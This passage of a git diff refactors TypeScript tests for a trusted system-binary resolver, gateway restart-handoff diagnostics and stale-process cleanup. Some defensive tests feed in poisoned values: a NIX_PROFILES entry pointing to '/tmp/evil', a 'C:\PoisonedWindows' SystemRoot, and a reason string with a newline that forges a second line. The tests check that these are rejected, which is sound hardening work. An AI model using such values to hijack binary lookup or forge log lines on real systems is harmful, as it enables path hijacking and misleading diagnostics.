"openclaw/plugin-sdk/test-fixtures"; +import { beforeEach, describe, expect, it, vi } from "vitest"; + +type ResolveSystemBin = typeof import("./resolve-system-bin.js").resolveSystemBin; + +const windowsRoots = vi.hoisted(() => ({ + systemRoot: "C:\\Windows", + programFilesRoots: ["C:\\Program Files", "C:\\Program Files (x86)"], +})); + +vi.mock("./windows-install-roots.js", async () => { + const actual = await vi.importActual( + "./windows-install-roots.js", + ); + return { + ...actual, + getWindowsInstallRoots: () => ({ + systemRoot: windowsRoots.systemRoot, + programFiles: windowsRoots.programFilesRoots[0] ?? "C:\\Program Files", + programFilesX86: windowsRoots.programFilesRoots[1] ?? "C:\\Program Files (x86)", + programW6432: windowsRoots.programFilesRoots[0] ?? null, + }), + getWindowsProgramFilesRoots: () => windowsRoots.programFilesRoots, + }; +}); + +let resolveSystemBin: ResolveSystemBin; +let freshResolveSystemBinId = 0; let executables: Set; +vi.mock("node:fs", async () => { + const { mockNodeBuiltinModule } = await import("openclaw/plugin-sdk/test-node-mocks"); + return mockNodeBuiltinModule( + () => vi.importActual("node:fs"), + { + accessSync: (candidate: import("node:fs").PathLike) => { + const candidatePath = String(candidate); + if (!executables.has(path.resolve(candidatePath))) { + throw Object.assign(new Error(`missing executable: ${candidatePath}`), { + code: "ENOENT", + }); + } + }, + }, + { mirrorToDefault: true }, + ); +}); + function addExecutables(...paths: string[]): void { for (const candidate of paths) { executables.add(candidate); } } -function expectDirsContainAll(dirs: readonly string[], expected: readonly string[]): void { - for (const dir of expected) { - expect(dirs).toContain(dir); - } -} - -function expectDirsExcludeAll(dirs: readonly string[], excluded: readonly string[]): void { - for (const dir of excluded) { - expect(dirs).not.toContain(dir); - } -} - -beforeEach(() => { +beforeEach(async () => { executables = new Set(); - resetResolveSystemBin((p: string) => executables.has(path.resolve(p))); -}); - -afterEach(() => { - resetResolveSystemBin(); - resetWindowsInstallRootsForTests(); + windowsRoots.systemRoot = "C:\\Windows"; + windowsRoots.programFilesRoots = ["C:\\Program Files", "C:\\Program Files (x86)"]; + ({ resolveSystemBin } = await importFreshModule( + import.meta.url, + `./resolve-system-bin.js?test=${freshResolveSystemBinId++}`, + )); }); describe("resolveSystemBin", () => { @@ -156,251 +179,108 @@ describe("resolveSystemBin", () => { }); describe("trusted directory list", () => { - it("includes Windows image fallback tool directories under trusted install roots", () => { + it("resolves Windows system and Program Files tools through the public resolver", () => { const platformSpy = vi.spyOn(process, "platform", "get").mockReturnValue("win32"); - resetWindowsInstallRootsForTests({ - queryRegistryValue: (key, valueName) => { - if ( - key === "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" && - valueName === "SystemRoot" - ) { - return "D:\\Windows"; - } - if ( - key === "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion" && - valueName === "ProgramFilesDir" - ) { - return "D:\\Program Files"; - } - if ( - key === "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion" && - valueName === "ProgramFilesDir (x86)" - ) { - return "E:\\Program Files (x86)"; - } - return null; - }, - }); + windowsRoots.systemRoot = "D:\\Windows"; + windowsRoots.programFilesRoots = ["D:\\Program Files", "E:\\Program Files (x86)"]; try { - resetResolveSystemBin((p: string) => executables.has(path.resolve(p))); - const dirs = getTrustedDirsForTest("standard"); - expectDirsContainAll(dirs, [ - path.win32.join("D:\\Windows", "System32", "WindowsPowerShell", "v1.0"), - path.win32.join("D:\\", "ProgramData", "chocolatey", "bin"), - path.win32.join("D:\\Program Files", "ImageMagick"), - path.win32.join("D:\\Program Files", "GraphicsMagick"), - path.win32.join("E:\\Program Files (x86)", "ImageMagick"), - path.win32.join("E:\\Program Files (x86)", "GraphicsMagick"), - ]); - const strictDirs = getTrustedDirsForTest("strict"); - expect(strictDirs).not.toContain(path.win32.join("D:\\Program Files", "ImageMagick")); - expect(strictDirs).not.toContain(path.win32.join("D:\\Program Files", "GraphicsMagick")); + const candidates = [ + { + command: "pwsh", + expected: path.win32.join( + "D:\\Windows", + "System32", + "WindowsPowerShell", + "v1.0", + "pwsh.exe", + ), + trust: "strict" as const, + }, + { + command: "openssl", + expected: path.win32.join("D:\\Program Files", "OpenSSL-Win64", "bin", "openssl.exe"), + trust: "strict" as const, + }, + { + command: "ffmpeg", + expected: path.win32.join("E:\\Program Files (x86)", "ffmpeg", "bin", "ffmpeg.exe"), + trust: "strict" as const, + }, + { + command: "magick", + expected: path.win32.join("D:\\Program Files", "ImageMagick", "magick.exe"), + trust: "standard" as const, + }, + { + command: "gm", + expected: path.win32.join("E:\\Program Files (x86)", "GraphicsMagick", "gm.exe"), + trust: "standard" as const, + }, + ]; + addExecutables(...candidates.map(({ expected }) => path.resolve(expected))); + + for (const { command, expected, trust } of candidates) { + expect(resolveSystemBin(command, { trust })).toBe(expected); + } + expect(resolveSystemBin("magick", { trust: "strict" })).toBeNull(); + + addExecutables(path.resolve("/usr/bin/unix-only.exe")); + expect(resolveSystemBin("unix-only", { trust: "standard" })).toBeNull(); } finally { platformSpy.mockRestore(); - resetResolveSystemBin(); - resetWindowsInstallRootsForTests(); } }); it("resolves machine-wide Chocolatey shims only with standard trust on Windows", () => { const platformSpy = vi.spyOn(process, "platform", "get").mockReturnValue("win32"); - resetWindowsInstallRootsForTests({ - queryRegistryValue: (key, valueName) => { - if ( - key === "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" && - valueName === "SystemRoot" - ) { - return "D:\\Windows"; - } - return null; - }, - }); try { - const chocoFfmpeg = path.win32.join("D:\\", "ProgramData", "chocolatey", "bin", "ffmpeg.exe"); - resetResolveSystemBin((p: string) => p === chocoFfmpeg); + const chocoFfmpeg = path.win32.join("C:\\", "ProgramData", "chocolatey", "bin", "ffmpeg.exe"); + executables.add(path.resolve(chocoFfmpeg)); expect(resolveSystemBin("ffmpeg")).toBeNull(); expect(resolveSystemBin("ffmpeg", { trust: "standard" })).toBe(chocoFfmpeg); } finally { platformSpy.mockRestore(); - resetResolveSystemBin(); - resetWindowsInstallRootsForTests(); } }); - it("never includes user-writable home directories", () => { - const dirs = getTrustedDirsForTest(); - for (const dir of dirs) { - expect(dir, `${dir} should not be user-writable`).not.toMatch(/\.(local|bun|yarn)/); - expect(dir, `${dir} should not be a pnpm dir`).not.toContain("pnpm"); + it("uses fixed Linux system paths and ignores NIX_PROFILES", () => { + const platformSpy = vi.spyOn(process, "platform", "get").mockReturnValue("linux"); + const previousNixProfiles = process.env.NIX_PROFILES; + process.env.NIX_PROFILES = + "/nix/store/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-ffmpeg-7.1 /tmp/evil /home/user/.nix-profile"; + try { + addExecutables( + "/nix/store/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-ffmpeg-7.1/bin/ffmpeg", + "/run/current-system/sw/bin/nix-tool", + "/snap/bin/snap-tool", + "/usr/local/bin/local-tool", + ); + + expect(resolveSystemBin("ffmpeg")).toBeNull(); + expect(resolveSystemBin("nix-tool")).toBe("/run/current-system/sw/bin/nix-tool"); + expect(resolveSystemBin("snap-tool")).toBe("/snap/bin/snap-tool"); + expect(resolveSystemBin("local-tool")).toBeNull(); + expect(resolveSystemBin("local-tool", { trust: "standard" })).toBe( + "/usr/local/bin/local-tool", + ); + } finally { + if (previousNixProfiles === undefined) { + delete process.env.NIX_PROFILES; + } else { + process.env.NIX_PROFILES = previousNixProfiles; + } + platformSpy.mockRestore(); } }); - if (process.platform !== "win32") { - it("includes base Unix system directories only", () => { - const dirs = getTrustedDirsForTest(); - expectDirsContainAll(dirs, ["/usr/bin", "/bin", "/usr/sbin", "/sbin"]); - expectDirsExcludeAll(dirs, ["/usr/local/bin"]); - }); - - it("ignores env-controlled NIX_PROFILES entries, including direct store paths", () => { - const saved = process.env.NIX_PROFILES; - try { - process.env.NIX_PROFILES = - "/nix/store/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-ffmpeg-7.1 /tmp/evil /home/user/.nix-profile /nix/var/nix/profiles/default"; - resetResolveSystemBin((p: string) => executables.has(path.resolve(p))); - const dirs = getTrustedDirsForTest(); - expectDirsExcludeAll(dirs, [ - "/nix/store/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-ffmpeg-7.1/bin", - "/tmp/evil/bin", - "/home/user/.nix-profile/bin", - "/nix/var/nix/profiles/default/bin", - ]); - } finally { - if (saved === undefined) { - delete process.env.NIX_PROFILES; - } else { - process.env.NIX_PROFILES = saved; - } - resetResolveSystemBin(); - } - }); - } - - if (process.platform === "darwin") { - it("does not include /opt/homebrew/bin in strict trust on macOS", () => { - expectDirsExcludeAll(getTrustedDirsForTest("strict"), [ - "/opt/homebrew/bin", - "/usr/local/bin", - ]); - }); - - it("includes /opt/homebrew/bin and /usr/local/bin in standard trust on macOS", () => { - const dirs = getTrustedDirsForTest("standard"); - expectDirsContainAll(dirs, ["/opt/homebrew/bin", "/usr/local/bin"]); - }); - - it("places Homebrew dirs after system dirs in standard trust", () => { - const dirs = [...getTrustedDirsForTest("standard")]; - const usrBinIdx = dirs.indexOf("/usr/bin"); - const brewIdx = dirs.indexOf("/opt/homebrew/bin"); - const localIdx = dirs.indexOf("/usr/local/bin"); - expect(usrBinIdx).toBeGreaterThanOrEqual(0); - expect(brewIdx).toBeGreaterThan(usrBinIdx); - expect(localIdx).toBeGreaterThan(usrBinIdx); - }); - - it("standard trust is a superset of strict trust on macOS", () => { - const strict = getTrustedDirsForTest("strict"); - const standard = getTrustedDirsForTest("standard"); - for (const dir of strict) { - expect(standard, `standard trust should include strict dir ${dir}`).toContain(dir); - } - }); - } - - if (process.platform === "linux") { - it("includes Linux system-managed directories", () => { - const dirs = getTrustedDirsForTest(); - expectDirsContainAll(dirs, ["/run/current-system/sw/bin", "/snap/bin"]); - }); - - it("includes /usr/local/bin in standard trust on Linux", () => { - const dirs = getTrustedDirsForTest("standard"); - expect(dirs).toContain("/usr/local/bin"); - }); - - it("places /usr/local/bin after /usr/bin in standard trust on Linux", () => { - const dirs = [...getTrustedDirsForTest("standard")]; - const usrBinIdx = dirs.indexOf("/usr/bin"); - const usrLocalBinIdx = dirs.indexOf("/usr/local/bin"); - expect(usrBinIdx).toBeGreaterThanOrEqual(0); - expect(usrLocalBinIdx).toBeGreaterThan(usrBinIdx); - }); - } - - if ( - process.platform !== "darwin" && - process.platform !== "linux" && - process.platform !== "win32" - ) { - it("standard trust equals strict trust on platforms without expansion", () => { - const strict = getTrustedDirsForTest("strict"); - const standard = getTrustedDirsForTest("standard"); - expect(standard).toEqual(strict); - }); - } - - if (process.platform === "win32") { - it("includes Windows system directories", () => { - const dirs = getTrustedDirsForTest(); - expect(dirs).toContain(path.win32.join(getWindowsInstallRoots().systemRoot, "System32")); - }); - - it("includes Program Files OpenSSL and ffmpeg paths", () => { - const dirs = getTrustedDirsForTest(); - for (const programFilesRoot of getWindowsProgramFilesRoots()) { - expect(dirs).toContain(path.win32.join(programFilesRoot, "OpenSSL-Win64", "bin")); - expect(dirs).toContain(path.win32.join(programFilesRoot, "ffmpeg", "bin")); - } - }); - - it("uses validated Windows install roots from HKLM values", () => { - resetWindowsInstallRootsForTests({ - queryRegistryValue: (key, valueName) => { - if ( - key === "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" && - valueName === "SystemRoot" - ) { - return "D:\\Windows"; - } - if ( - key === "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion" && - valueName === "ProgramFilesDir" - ) { - return "D:\\Program Files"; - } - if ( - key === "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion" && - valueName === "ProgramW6432Dir" - ) { - return "D:\\Program Files"; - } - if ( - key === "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion" && - valueName === "ProgramFilesDir (x86)" - ) { - return "E:\\Program Files (x86)"; - } - return null; - }, - }); - - resetResolveSystemBin((p: string) => executables.has(path.resolve(p))); - const dirs = getTrustedDirsForTest(); - expect(dirs).toContain(path.win32.join("D:\\Windows", "System32")); - expect(dirs).toContain(path.win32.join("D:\\Program Files", "OpenSSL-Win64", "bin")); - expect(dirs).toContain(path.win32.join("E:\\Program Files (x86)", "OpenSSL", "bin")); - }); - - it("falls back safely when HKLM values are unavailable", () => { - resetWindowsInstallRootsForTests({ - queryRegistryValue: () => null, - }); - - resetResolveSystemBin((p: string) => executables.has(path.resolve(p))); - const dirs = getTrustedDirsForTest(); - const normalizedDirs = dirs.map((dir) => dir.toLowerCase()); - expectDirsContainAll(normalizedDirs, [ - path.win32.join("C:\\Windows", "System32").toLowerCase(), - path.win32.join("C:\\Program Files", "OpenSSL-Win64", "bin").toLowerCase(), - path.win32.join("C:\\Program Files (x86)", "OpenSSL", "bin").toLowerCase(), - ]); - }); - - it("does not include Unix paths on Windows", () => { - const dirs = getTrustedDirsForTest(); - expect(dirs).not.toContain("/usr/bin"); - expect(dirs).not.toContain("/bin"); - }); - } + it("does not widen standard trust on unsupported Unix platforms", () => { + const platformSpy = vi.spyOn(process, "platform", "get").mockReturnValue("freebsd"); + try { + addExecutables("/usr/local/bin/local-tool"); + expect(resolveSystemBin("local-tool", { trust: "strict" })).toBeNull(); + expect(resolveSystemBin("local-tool", { trust: "standard" })).toBeNull(); + } finally { + platformSpy.mockRestore(); + } + }); }); diff --git a/src/infra/resolve-system-bin.ts b/src/infra/resolve-system-bin.ts index 08269a703b68..65be788d72e1 100644 --- a/src/infra/resolve-system-bin.ts +++ b/src/infra/resolve-system-bin.ts @@ -64,7 +64,7 @@ function collectWindowsProgramFilesToolDirs(programFilesRoot: string): string[] return dirs; } -let isExecutableFn: (filePath: string) => boolean = defaultIsExecutable; +const isExecutableFn: (filePath: string) => boolean = defaultIsExecutable; /** * Build the trusted-dir list for Windows. Only system-managed directories @@ -204,17 +204,3 @@ export function resolveSystemBin( return null; } - -/** Visible for tests: the computed trusted directories. */ -export function getTrustedDirsForTest(trust: SystemBinTrust = "strict"): readonly string[] { - return getTrustedDirs(trust); -} - -/** Reset cache and optionally override the executable-check function (for tests). */ -export function resetResolveSystemBin(overrideIsExecutable?: (p: string) => boolean): void { - resolvedCacheStrict.clear(); - resolvedCacheStandard.clear(); - trustedDirsStrict = null; - trustedDirsStandard = null; - isExecutableFn = overrideIsExecutable ?? defaultIsExecutable; -} diff --git a/src/infra/restart-coordinator.ts b/src/infra/restart-coordinator.ts index 4d75ef4a44f0..2ac563ebb83c 100644 --- a/src/infra/restart-coordinator.ts +++ b/src/infra/restart-coordinator.ts @@ -8,7 +8,7 @@ import { scheduleGatewaySigusr1Restart, type ScheduledRestart } from "./restart. // Safe restart coordination checks active local work before scheduling SIGUSR1 // restarts, while still allowing explicit deferral bypasses for operators. -export type SafeGatewayRestartCounts = { +type SafeGatewayRestartCounts = { queueSize: number; pendingReplies: number; embeddedRuns: number; @@ -18,7 +18,7 @@ export type SafeGatewayRestartCounts = { activeTasks: number; totalActive: number; }; -export type SafeGatewayRestartBlocker = Omit & { +type SafeGatewayRestartBlocker = Omit & { kind: | "queue" | "reply" @@ -41,7 +41,7 @@ type SafeRestartInspectors = Pick< | "getTaskBlockers" >; -export type SafeGatewayRestartPreflight = { +type SafeGatewayRestartPreflight = { safe: boolean; counts: SafeGatewayRestartCounts; blockers: SafeGatewayRestartBlocker[]; diff --git a/src/infra/restart-handoff.test.ts b/src/infra/restart-handoff.test.ts index 2b051c8e93f4..2f8d2d2c4b01 100644 --- a/src/infra/restart-handoff.test.ts +++ b/src/infra/restart-handoff.test.ts @@ -15,7 +15,6 @@ import { } from "./kysely-sync.js"; import { formatGatewayRestartHandoffDiagnostic, - GATEWAY_SUPERVISOR_RESTART_HANDOFF_KIND, readGatewayRestartHandoffSync, writeGatewayRestartHandoffSync, } from "./restart-handoff.js"; @@ -88,7 +87,7 @@ function insertHandoffRow( db, stateDb.insertInto("gateway_restart_handoff").values({ handoff_key: "current", - kind: values.kind ?? GATEWAY_SUPERVISOR_RESTART_HANDOFF_KIND, + kind: values.kind ?? "gateway-supervisor-restart-handoff", version: values.version ?? 1, intent_id: values.intentId ?? "intent-1", pid: values.pid ?? 111, @@ -124,44 +123,6 @@ describe("gateway restart handoff", () => { } }); - it("writes a supervisor handoff for an exited gateway process", () => { - const env = createHandoffEnv(); - - const handoff = expectWrittenHandoff({ - env, - pid: 12_345, - processInstanceId: "gateway-instance-1", - reason: "plugin source changed", - restartKind: "full-process", - supervisorMode: "launchd", - createdAt: 1_000, - }); - - expect(handoff.kind).toBe(GATEWAY_SUPERVISOR_RESTART_HANDOFF_KIND); - expect(handoff.version).toBe(1); - expect(handoff.pid).toBe(12_345); - expect(handoff.processInstanceId).toBe("gateway-instance-1"); - expect(handoff.reason).toBe("plugin source changed"); - expect(handoff.source).toBe("plugin-change"); - expect(handoff.restartKind).toBe("full-process"); - expect(handoff.supervisorMode).toBe("launchd"); - expect(handoff.createdAt).toBe(1_000); - expect(handoff.expiresAt).toBe(61_000); - expect(readHandoffRow(env)).toMatchObject({ - handoff_key: "current", - kind: GATEWAY_SUPERVISOR_RESTART_HANDOFF_KIND, - pid: 12_345, - reason: "plugin source changed", - source: "plugin-change", - restart_kind: "full-process", - supervisor_mode: "launchd", - }); - expect(fs.existsSync(legacyHandoffPath(env))).toBe(false); - const persisted = readGatewayRestartHandoffSync(env, 1_500); - expect(persisted?.pid).toBe(12_345); - expect(persisted?.reason).toBe("plugin source changed"); - }); - it("keeps truncated restart reasons free of lone surrogates", () => { const env = createHandoffEnv(); const handoff = expectWrittenHandoff({ @@ -177,6 +138,28 @@ describe("gateway restart handoff", () => { expect(readGatewayRestartHandoffSync(env)?.reason).toBe(handoff.reason); }); + it("formats a concise, single-line diagnostic", () => { + expect( + formatGatewayRestartHandoffDiagnostic( + { + kind: "gateway-supervisor-restart-handoff", + version: 1, + intentId: "intent-1", + pid: 12_345, + createdAt: 10_000, + expiresAt: 70_000, + reason: "ok\nFake: bad", + source: "operator-restart", + restartKind: "full-process", + supervisorMode: "external", + }, + 12_500, + ), + ).toBe( + "Recent restart handoff: full-process via external; source=operator-restart; reason=ok Fake: bad; pid=12345; age=2s; expiresIn=57s", + ); + }); + it("keeps persisted intent IDs free of lone surrogates", () => { const env = createHandoffEnv(); const expectedIntentId = "a".repeat(119); @@ -300,48 +283,4 @@ describe("gateway restart handoff", () => { expect(readGatewayRestartHandoffSync(env)?.pid).toBe(67_890); expect(fs.existsSync(legacyHandoffPath(env))).toBe(false); }); - - it("formats a concise diagnostic line for status surfaces", () => { - expect( - formatGatewayRestartHandoffDiagnostic( - { - kind: GATEWAY_SUPERVISOR_RESTART_HANDOFF_KIND, - version: 1, - intentId: "intent-1", - pid: 12_345, - createdAt: 10_000, - expiresAt: 70_000, - reason: "plugin source changed", - source: "plugin-change", - restartKind: "full-process", - supervisorMode: "launchd", - }, - 12_500, - ), - ).toBe( - "Recent restart handoff: full-process via launchd; source=plugin-change; reason=plugin source changed; pid=12345; age=2s; expiresIn=57s", - ); - }); - - it("formats restart reasons as a single diagnostic line", () => { - expect( - formatGatewayRestartHandoffDiagnostic( - { - kind: GATEWAY_SUPERVISOR_RESTART_HANDOFF_KIND, - version: 1, - intentId: "intent-1", - pid: 12_345, - createdAt: 10_000, - expiresAt: 70_000, - reason: "ok\nFake: bad", - source: "operator-restart", - restartKind: "full-process", - supervisorMode: "external", - }, - 12_500, - ), - ).toBe( - "Recent restart handoff: full-process via external; source=operator-restart; reason=ok Fake: bad; pid=12345; age=2s; expiresIn=57s", - ); - }); }); diff --git a/src/infra/restart-handoff.ts b/src/infra/restart-handoff.ts index ac1b96f3f2bc..4e0c87c69959 100644 --- a/src/infra/restart-handoff.ts +++ b/src/infra/restart-handoff.ts @@ -15,7 +15,7 @@ import { // Restart handoff rows let a supervisor explain a recent gateway restart after // the old process exits. The row is short-lived, bounded, and replaced on write. -export const GATEWAY_SUPERVISOR_RESTART_HANDOFF_KIND = "gateway-supervisor-restart-handoff"; +const GATEWAY_SUPERVISOR_RESTART_HANDOFF_KIND = "gateway-supervisor-restart-handoff"; const GATEWAY_SUPERVISOR_RESTART_HANDOFF_KEY = "current"; const GATEWAY_RESTART_HANDOFF_TTL_MS = 60_000; const GATEWAY_RESTART_TRACE_HANDOFF_MAX_DURATION_MS = 10 * 60_000; @@ -26,15 +26,15 @@ const MAX_REASON_LENGTH = 200; const handoffLog = createSubsystemLogger("restart-handoff"); type GatewayRestartHandoffDatabase = Pick; -export type GatewayRestartHandoffRestartKind = "full-process" | "update-process"; -export type GatewayRestartHandoffSource = +type GatewayRestartHandoffRestartKind = "full-process" | "update-process"; +type GatewayRestartHandoffSource = | "config-write" | "gateway-update" | "operator-restart" | "plugin-change" | "signal" | "unknown"; -export type GatewayRestartHandoffSupervisorMode = "launchd" | "systemd" | "schtasks" | "external"; +type GatewayRestartHandoffSupervisorMode = "launchd" | "systemd" | "schtasks" | "external"; export type GatewayRestartHandoff = { kind: typeof GATEWAY_SUPERVISOR_RESTART_HANDOFF_KIND; diff --git a/src/infra/restart-sentinel.ts b/src/infra/restart-sentinel.ts index 16e74b7bacb9..6ef537fc5011 100644 --- a/src/infra/restart-sentinel.ts +++ b/src/infra/restart-sentinel.ts @@ -17,13 +17,13 @@ import { getNodeSqliteKysely, } from "./kysely-sync.js"; -export type RestartSentinelLog = { +type RestartSentinelLog = { stdoutTail?: string | null; stderrTail?: string | null; exitCode?: number | null; }; -export type RestartSentinelStep = { +type RestartSentinelStep = { name: string; command: string; cwd?: string | null; @@ -31,7 +31,7 @@ export type RestartSentinelStep = { log?: RestartSentinelLog | null; }; -export type RestartSentinelStats = { +type RestartSentinelStats = { mode?: string; root?: string; requiresRestart?: boolean; @@ -72,7 +72,7 @@ export type RestartSentinelPayload = { stats?: RestartSentinelStats | null; }; -export type RestartSentinel = { +type RestartSentinel = { version: 1; payload: RestartSentinelPayload; }; diff --git a/src/infra/restart-stale-pids.test.ts b/src/infra/restart-stale-pids.test.ts index 65cca4abf569..4743cf5201d8 100644 --- a/src/infra/restart-stale-pids.test.ts +++ b/src/infra/restart-stale-pids.test.ts @@ -101,7 +101,6 @@ vi.mock("./windows-install-roots.js", () => ({ })); import { resolveLsofCommandSync } from "./ports-lsof.js"; -let testing: typeof import("./restart-stale-pids.js").testing; let cleanStaleGatewayProcessesSync: typeof import("./restart-stale-pids.js").cleanStaleGatewayProcessesSync; let findGatewayPidsOnPortSync: typeof import("./restart-stale-pids.js").findGatewayPidsOnPortSync; @@ -196,7 +195,7 @@ function expectWarningContaining(text: string): void { describe.skipIf(isWindows)("restart-stale-pids", () => { beforeAll(async () => { - ({ testing, cleanStaleGatewayProcessesSync, findGatewayPidsOnPortSync } = + ({ cleanStaleGatewayProcessesSync, findGatewayPidsOnPortSync } = await import("./restart-stale-pids.js")); }); @@ -221,13 +220,10 @@ describe.skipIf(isWindows)("restart-stale-pids", () => { mockReadWindowsListeningPidsResult.mockReturnValue({ ok: true, pids: [] }); mockReadWindowsProcessArgs.mockReturnValue(null); mockReadWindowsProcessArgsResult.mockReturnValue({ ok: true, args: null }); - testing.setSleepSyncOverride(() => {}); + vi.spyOn(Atomics, "wait").mockReturnValue("timed-out"); }); afterEach(() => { - testing.setSleepSyncOverride(null); - testing.setDateNowOverride(null); - testing.setParentPidOverride(null); vi.restoreAllMocks(); }); @@ -235,11 +231,14 @@ describe.skipIf(isWindows)("restart-stale-pids", () => { // ancestor-exclusion tests to drive the real `getSelfAndAncestorPidsSync` // walk without depending on runtime-specific `process.ppid` descriptors. function withStubbedPpid(ppid: number, fn: () => T): T { - testing.setParentPidOverride(() => ppid); + const descriptor = Object.getOwnPropertyDescriptor(process, "ppid"); + Object.defineProperty(process, "ppid", { configurable: true, value: ppid }); try { return fn(); } finally { - testing.setParentPidOverride(null); + if (descriptor) { + Object.defineProperty(process, "ppid", descriptor); + } } } @@ -977,11 +976,11 @@ describe.skipIf(isWindows)("restart-stale-pids", () => { it("proceeds with warning when polling budget is exhausted — fake clock, no real 2s wait", () => { // Sub-agent audit HIGH finding: the original test relied on real wall-clock // time (Date.now() + 2000ms deadline), burning 2 full seconds of CI time - // every run. Fix: expose dateNowOverride in testing so the deadline can - // be synthesised instantly, keeping the test under 10ms. + // every run. Mock the wall clock so the deadline can be synthesised + // instantly, keeping the test under 10ms. const stalePid = process.pid + 303; let fakeNow = 0; - testing.setDateNowOverride(() => fakeNow); + vi.spyOn(Date, "now").mockImplementation(() => fakeNow); installInitialBusyPoll(stalePid, () => { // Advance clock by PORT_FREE_TIMEOUT_MS + 1ms on first poll to trip the deadline. @@ -1086,7 +1085,7 @@ describe.skipIf(isWindows)("restart-stale-pids", () => { stderr: "", }); let fakeNow = 0; - testing.setDateNowOverride(() => fakeNow); + vi.spyOn(Date, "now").mockImplementation(() => fakeNow); mockReadWindowsListeningPidsResult.mockImplementation((_port, timeoutMs) => { if (timeoutMs === 400) { fakeNow += 2001; @@ -1111,7 +1110,6 @@ describe.skipIf(isWindows)("restart-stale-pids", () => { expectWarningContaining("port 18789 still in use after 2000ms"); expect(killSpy).toHaveBeenCalledWith(stalePid, 0); } finally { - testing.setDateNowOverride(null); if (origDescriptor) { Object.defineProperty(process, "platform", origDescriptor); } @@ -1123,7 +1121,7 @@ describe.skipIf(isWindows)("restart-stale-pids", () => { Object.defineProperty(process, "platform", { value: "win32", configurable: true }); try { let fakeNow = 0; - testing.setDateNowOverride(() => fakeNow); + vi.spyOn(Date, "now").mockImplementation(() => fakeNow); mockReadWindowsListeningPidsResult.mockImplementation((_port, timeoutMs) => { if (timeoutMs === 400) { fakeNow += 2001; @@ -1137,7 +1135,6 @@ describe.skipIf(isWindows)("restart-stale-pids", () => { expectWarningContaining("port 18789 still in use after 2000ms"); expect(killSpy).not.toHaveBeenCalled(); } finally { - testing.setDateNowOverride(null); if (origDescriptor) { Object.defineProperty(process, "platform", origDescriptor); } @@ -1150,7 +1147,7 @@ describe.skipIf(isWindows)("restart-stale-pids", () => { Object.defineProperty(process, "platform", { value: "win32", configurable: true }); try { let fakeNow = 0; - testing.setDateNowOverride(() => fakeNow); + vi.spyOn(Date, "now").mockImplementation(() => fakeNow); mockReadWindowsListeningPidsResult.mockImplementation((_port, timeoutMs) => { if (timeoutMs === 400) { fakeNow += 2001; @@ -1165,7 +1162,6 @@ describe.skipIf(isWindows)("restart-stale-pids", () => { expectWarningContaining("port 18789 still in use after 2000ms"); expect(killSpy).not.toHaveBeenCalled(); } finally { - testing.setDateNowOverride(null); if (origDescriptor) { Object.defineProperty(process, "platform", origDescriptor); } @@ -1180,7 +1176,7 @@ describe.skipIf(isWindows)("restart-stale-pids", () => { process.env.SystemRoot = "C:\\PoisonedWindows"; try { let fakeNow = 0; - testing.setDateNowOverride(() => fakeNow); + vi.spyOn(Date, "now").mockImplementation(() => fakeNow); mockReadWindowsListeningPids.mockReturnValue([stalePid]); mockReadWindowsProcessArgs.mockReturnValue(["openclaw", "gateway"]); mockReadWindowsProcessArgsResult.mockReturnValue({ @@ -1213,7 +1209,6 @@ describe.skipIf(isWindows)("restart-stale-pids", () => { expect(taskkillCall?.[1]).toEqual(["/T", "/PID", String(stalePid)]); expect((taskkillCall?.[2] as { timeout?: number } | undefined)?.timeout).toBe(5000); } finally { - testing.setDateNowOverride(null); if (originalSystemRoot === undefined) { delete process.env.SystemRoot; } else { @@ -1231,7 +1226,7 @@ describe.skipIf(isWindows)("restart-stale-pids", () => { Object.defineProperty(process, "platform", { value: "win32", configurable: true }); try { let fakeNow = 0; - testing.setDateNowOverride(() => fakeNow); + vi.spyOn(Date, "now").mockImplementation(() => fakeNow); mockReadWindowsListeningPidsResult.mockReturnValue({ ok: true, pids: [stalePid] }); mockReadWindowsProcessArgs.mockReturnValue(["openclaw", "gateway"]); mockReadWindowsProcessArgsResult.mockReturnValue({ @@ -1257,8 +1252,9 @@ describe.skipIf(isWindows)("restart-stale-pids", () => { } return true; }); - testing.setSleepSyncOverride((ms) => { - fakeNow += ms; + vi.mocked(Atomics.wait).mockImplementation((_array, _index, _value, timeout) => { + fakeNow += timeout ?? 0; + return "timed-out"; }); expect(cleanStaleGatewayProcessesSync()).toStrictEqual([]); @@ -1271,8 +1267,6 @@ describe.skipIf(isWindows)("restart-stale-pids", () => { 5000, ); } finally { - testing.setSleepSyncOverride(null); - testing.setDateNowOverride(null); if (origDescriptor) { Object.defineProperty(process, "platform", origDescriptor); } @@ -1400,44 +1394,4 @@ describe.skipIf(isWindows)("restart-stale-pids", () => { } }); }); - - // ------------------------------------------------------------------------- - // sleepSync — direct unit tests via testing.callSleepSyncRaw - // ------------------------------------------------------------------------- - describe("sleepSync — Atomics.wait paths", () => { - it("returns immediately when called with 0ms (timeoutMs <= 0 early return)", () => { - // sleepSync(0) must short-circuit before touching Atomics.wait. - testing.setSleepSyncOverride(null); // bypass override so real path runs - expect(testing.callSleepSyncRaw(0)).toBeUndefined(); - }); - - it("returns immediately when called with a negative value (Math.max(0,...) clamp)", () => { - testing.setSleepSyncOverride(null); - expect(testing.callSleepSyncRaw(-1)).toBeUndefined(); - }); - - it("executes the Atomics.wait path successfully when called with a positive timeout", () => { - // Use 1ms to keep the test fast; Atomics.wait resolves immediately - // because the timeout expires in 1ms. - testing.setSleepSyncOverride(null); - expect(testing.callSleepSyncRaw(1)).toBeUndefined(); - }); - - it("falls back to busy-wait when Atomics.wait throws (Worker / sandboxed env)", () => { - // Atomics.wait throws in Worker threads and some sandboxed runtimes. - // The catch branch must handle this without propagating the exception. - const origWait = Atomics.wait; - Atomics.wait = () => { - throw new Error("not on main thread"); - }; - testing.setSleepSyncOverride(null); - try { - // 1ms is enough to exercise the busy-wait loop without slowing CI. - expect(testing.callSleepSyncRaw(1)).toBeUndefined(); - } finally { - 